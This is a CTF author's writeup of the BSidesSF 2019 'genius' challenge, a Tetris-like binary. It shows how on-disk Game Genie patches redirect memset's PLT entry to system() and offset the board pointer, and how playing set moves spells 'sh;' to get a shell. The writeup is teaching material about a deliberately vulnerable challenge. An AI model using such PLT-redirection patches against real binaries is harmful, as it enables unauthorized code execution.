BSidesSF CTF author writeup: genius

Hey all,

This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius!

genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the sourcecode, solution, and everything needed to run it yourself on our Github release!

It is actually implemented as a pair of programs: loader and genius. I only provide the binaries to the players, so it's up to the player to reverse engineer them. Fortunately, for this writeup, we'll have source to reference as needed!

Ultimately, the player is expected to gain code execution by tricking genius into running system("sh;");, with the help of loader (at least, that's how I solved it and that's how others I talked to solved it). A hint to that is given when the game is initially started:

$ ./genius
In case it helps or whatever, system() is at 0x80485e0 and the game object is at 0x804b1a0. :)

After that, it starts displaying a Tetris-like commandline game, with the controls 'a' and 'd' to move, 'q' and 'e' to rotate, and 's' to drop the piece to the bottom.

Here's what the game board looks like with the first block (an 'O') falling:

+----------+
|          |
|          |
|          |
|          |
|          |
|   **     |
|   **     |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
+----------+
Score: 0

And after some blocks fall:

+----------+
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|          |
|        * |
|        * |
|       ** |
|   #      |
|   ##     |
|    #     |
|   ##   # |
|   ##  ###|
+----------+
Score: 3000

Simple enough! No obvious paths to code execution yet! But... that's where loader comes in.

Loader

When loader runs, it asks for a "Game Genius code":

$ ./loader
Welcome to the Game Genius interface!
Loading game...
...
Loaded!

Please enter your first Game Genius code, or press <enter> to
continue!

Some players may guess by the name and format, and others may reverse engineer it, but the codes it wants are classic NES Game Genie codes.

I found an online code generator written in JavaScript (it's not even online anymore so I linked to the archive.org version) that can generate codes. I only support the 6-character code - no "Key" value.

Interestingly, the code modifies the game on disk rather than in-memory. That means that the player has access to change basically anything, including read-only data, ELF headers, import table, and so on. After all, it wouldn't be NES if it had memory protection, right?

So the question is, what do we modify, and to what?

The code

We're going to look at a bit of assembly now. In particular, the printf-statement at the start where the address of system is displayed looks like this:

.text:08049462                 push    offset dword_804B1A0
.text:08049467                 push    offset _system
.text:0804946C                 push    offset aInCaseItHelpsO ; "In case it helps or whatever, system() "...
.text:08049471                 call    _printf

dword_804B1A0 is a bit array representing the game board, where each bit is 1 for a piece, and 0 for no piece. set_square and get_square are implemented like this, in the original C:

void set_square(int x, int y, int on) {
  int byte = ((y * BOARD_WIDTH) + x) / 8;
  int bit  = ((y * BOARD_WIDTH) + x) % 8;

  if(on) {
    game.board[byte] = game.board[byte] | (1 << bit);
  } else {
    game.board[byte] = game.board[byte] & ~(1 << bit);
  }
}


int8_t get_square(int x, int y) {
  int byte = ((y * BOARD_WIDTH) + x) / 8;
  int bit = ((y * BOARD_WIDTH) + x) % 8;

  return (game.board[byte] & (1 << bit)) ? 1 : 0;
}

As you can see, game.board (which is simply dword_804B1A0, which we saw earlier) starts are the upper-left, and encodes the board left to right. So the board we saw earlier:

...
|   #      |
|   ##     |
|    #     |
|   ##   # |
|   ##  ###|
+----------+

Is essentially ...0000010000000001100000000010000000011000100001100111 or 0x00...00401802018867. That's not entirely accurate, because each byte is encoded backwards, so we'd have to flip each set of 8 bits to get the actual value, but you get the idea (we won't encode by hand).

After the game ends, the board is cleared out with memset():

.text:08049547                 push    1Ah             ; n
.text:08049549                 push    0               ; c
.text:0804954B                 push    offset dword_804B1A0 ; s
.text:08049550                 call    _memset

There's that board variable again, dword_804B1A0!

That _memset call is where we're going to take control. But how?

The exploit, part 1

First off, when memset is called, it jumps to this little stub in the .plt section:

.plt:08048620                   ; void *memset(void *s, int c, size_t n)
.plt:08048620                   _memset         proc near               ; CODE XREF: main+57p
.plt:08048620                                                           ; main+150p
.plt:08048620 FF 25 30 B0 04 08                 jmp     ds:off_804B030
.plt:08048620                   _memset         endp

That's the .plt section - the Procedure Linkage Table. It's an absolute jump to the address stored at 0x804B030, which is the address of the real _memset function once the dynamic library is loaded.

Just above that is _system():

.plt:080485E0                   ; int system(const char *command)
.plt:080485E0                   _system         proc near               ; DATA XREF: main+67o
.plt:080485E0 FF 25 20 B0 04 08                 jmp     ds:off_804B020
.plt:080485E0                   _system         endp

It looks very similar to _memset(), except one byte of the address is different - the instruction FF2530B00408 becomes FF2520B00408!

With the first Game Genius code, I change the 0x30 in memset() to 0x20 for system. The virtual address is 0x08048620, which maps to the in-file address of 0x620 (IDA displays the real address in the bottom-left corner). Since we're changing the third byte, we need to change 0x620 + 2 => 0x622 from 0x30 to 0x20, which effectively changes every call to memset to instead call system.

Entering 622 and 20 into the online game genie code generator gives us our first code, AZZAZT.

The exploit, part 2

So now, every time the game attempts to call memset(board) it calls system(board). The problem is that the first few bits of board are quite hard to control (possibly impossible, unless you found another way to use the Game Genius codes to do it).

However, we can change one byte of the instruction push offset dword_804B1A0, we can somewhat change the address. That means we can shift the address to somewhere inside the board instead of the start!

Since I have sourcecode access, I can be lazier than players and just set them to see what it'd look like. That way, I can look at putting "sh;" at each offset in the board to see which one would be easiest to build in-game. When I started working on this, I honestly didn't even know if this could work, but it did!

I'll start with the furthest possible value to the right (at the end of the board):

  game.board[BOARD_SIZE-3] = 's';
  game.board[BOARD_SIZE-2] = 'h';
  game.board[BOARD_SIZE-1] = ';';

That creates a board that looks like:

...
|          |
|    ##  ##|
|#    # ## |
|## ###    |
+----------+

That looks like an awfully hard shape to make! So let's try setting the next three bytes towards the start:

  game.board[BOARD_SIZE-4] = 's';
  game.board[BOARD_SIZE-3] = 'h';
  game.board[BOARD_SIZE-2] = ';';
...
|          |
|      ##  |
|###    # #|
|# ## ###  |
|          |
+----------+

That's still a pretty bad shape. How about third from the end?

  game.board[BOARD_SIZE-5] = 's';
  game.board[BOARD_SIZE-4] = 'h';
  game.board[BOARD_SIZE-3] = ';';
...

|          |
|        ##|
|  ###    #|
| ## ## ###|
|          |
|          |
+----------+

That's starting to look like Tetris shapes! I chose that one, and tried to build it.

First, let's see which bytes "matter" - anything before "sh;" will be ignored, and anything after will run after "sh" exits, thanks to the ";" (you can also use "#" or "\0", but fortunately I didn't have to):

...
|          |
|        ##|
|##########|
|##########|
|##        |
|          |
+----------+

All we really care about is setting the 1 and 0 values within that block properly.. nothing else before or after matters at all.:

|          |
|        11|
|0011100001|
|0110110111|
|00        |
|          |
+----------+

If we do a bit of math, we'll know that that value starts 0x15 bytes from the start of board. That means we want to change push offset dword_804B1A0 to push offset dword_804B1A0+0x15, aka push offset dword_804B1B5

In the binary, here is the instruction (including code bytes):

.text:0804954B 68 A0 B1 04 08  push    offset dword_804B1A0 ; s
.text:08049550 E8 CB F0 FF FF  call    _memset

In the first line, we simply want to change 0xA0 to 0xB5. That instruction starts at in-file address 0x154B, and the 0xA0 is one byte from the start, so we want to change 0x154B+1 = 0x154C to 0xB5.

Throwing that address and value into the Game Genie calculator, we get our second code: SLGOGI

Playing the game

All that's left is to play the game. Easy, right?

Fortunately for players (and myself!), I set a static random seed, which means you'll always get the same Tetris blocks in the same order. I literally wrote down the first 20 or so blocks, using standard Tetris names. These are the ones that I ended up using, in order: O, S, T, J, O, Z, Z, T, O, Z, T, J, and L

Then I took a pencil and paper, and literally started drawing where I wanted pieces to go. We basically want to have a block where you see a '1' and a space where you see a '0'. Blank spaces can be either, since they're ignored.

Here's our starting state, once again:

|          |
|        11|
|0011100001|
|0110110111|
|00        |
|          |
+----------+

Then we get a O block. I'll notate it as "a", since it's the first block to fall:

|          |
|        11|
|0011100001|
|0110110111|
|00aa      |
|  aa      |
+----------+

So far, we're just filling in blanks. The next piece to fall is an S piece, which fits absolutely perfectly (and we label as 'b'):

|          |
|        11|
|00bb100001|
|0bb0110111|
|00aa      |
|  aa      |
+----------+

Then a T block, 'c', which touches a 1:

|          |
|        11|
|00bb100001|
|0bb0110c11|
|00aa   cc |
|  aa   c  |
+----------+

Then J ('d'):

|          |
|        1d|
|00bb10000d|
|0bb0110cdd|
|00aa   cc |
|  aa   c  |
+----------+

Then O ('e'):

|          |
|        1d|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then Z ('f'), which fills in the tip:

|          |
|         f|
|        ff|
|        fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then Z ('g') - here we're starting to throw away pieces, all we need is an L:

|          |
|         f|
| gg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then T ('h'), still throwing away pieces:

|          |
|h         |
|hh       f|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then O ('i'), throw throw throw:

|          |
|h ii      |
|hhii     f|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then Z ('j'), thrown away:

|          |
|         j|
|h ii    jj|
|hhii    jf|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then T ('k'), thrown away:

|          |
|        k |
|        kk|
|        kj|
|h ii    jj|
|hhii    jf|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

Then J ('m'):

|          |
| m      k |
| m      kk|
|mm      kj|
|h ii    jj|
|hhii    jf|
|hgg     ff|
|  gg    fd|
|00bb10000d|
|0bb0110cdd|
|00aaee cc |
|  aaee c  |
+----------+

And finally, the L we needed to finish the last part of the puzzle ('o'):

|          |
| m      k |
| m      kk|
|mm      kj|
|h ii    jj|
|hhii    jf|
|hgg     ff|
|  ggo   fd|
|00bbo0000d|
|0bb0oo0cdd|
|00aaee cc |
|  aaee c  |
+----------+

I literally drew all that on paper, erasing and moving stuff as needed to get the shape right. Once I had the shape, I figured out the inputs that would be required by literally playing:

  • as
  • qaas
  • eddds
  • qdddds
  • ds
  • ddddds
  • qaas
  • eaaaas
  • as
  • ddddds
  • edddds
  • aaaaas
  • eas

Followed by 's' repeated to drop every piece straight down until the board fills up and the game ends.

To summarize

So here is the exploit, in brief!

Run ./loader in the same folder as genius (or user the Dockerfile).

Enter code 1, AZZAZT, which changes memset into system

Enter code 2, SLGOGI, which changes system(board) to system(board+0x15)

Play the game, and enter the list of inputs shown just above.

When the game ends, like magic, a shell appears!

+----------+
|    *     |
|   *#*    |
|   ###    |
|   ##     |
|   ##     |
|    #     |
|   ##     |
|   #      |
|   ####   |
|     #    |
|   ###  # |
|#  #    ##|
|#####   ##|
|# ###   ##|
|####    ##|
|###     ##|
|  ###   ##|
|  ###    #|
| ## ## ###|
|  #### ## |
|  #### #  |
+----------+
$ pwd
/home/ron/projects/ctf-2019/challenges/genius/challenge/src
$ ls
blocks.h  genius  genius.c  genius.o  loader  loader.c  loader.o  Makefile

And there you have it!

Leave a Reply

Your email address will not be published.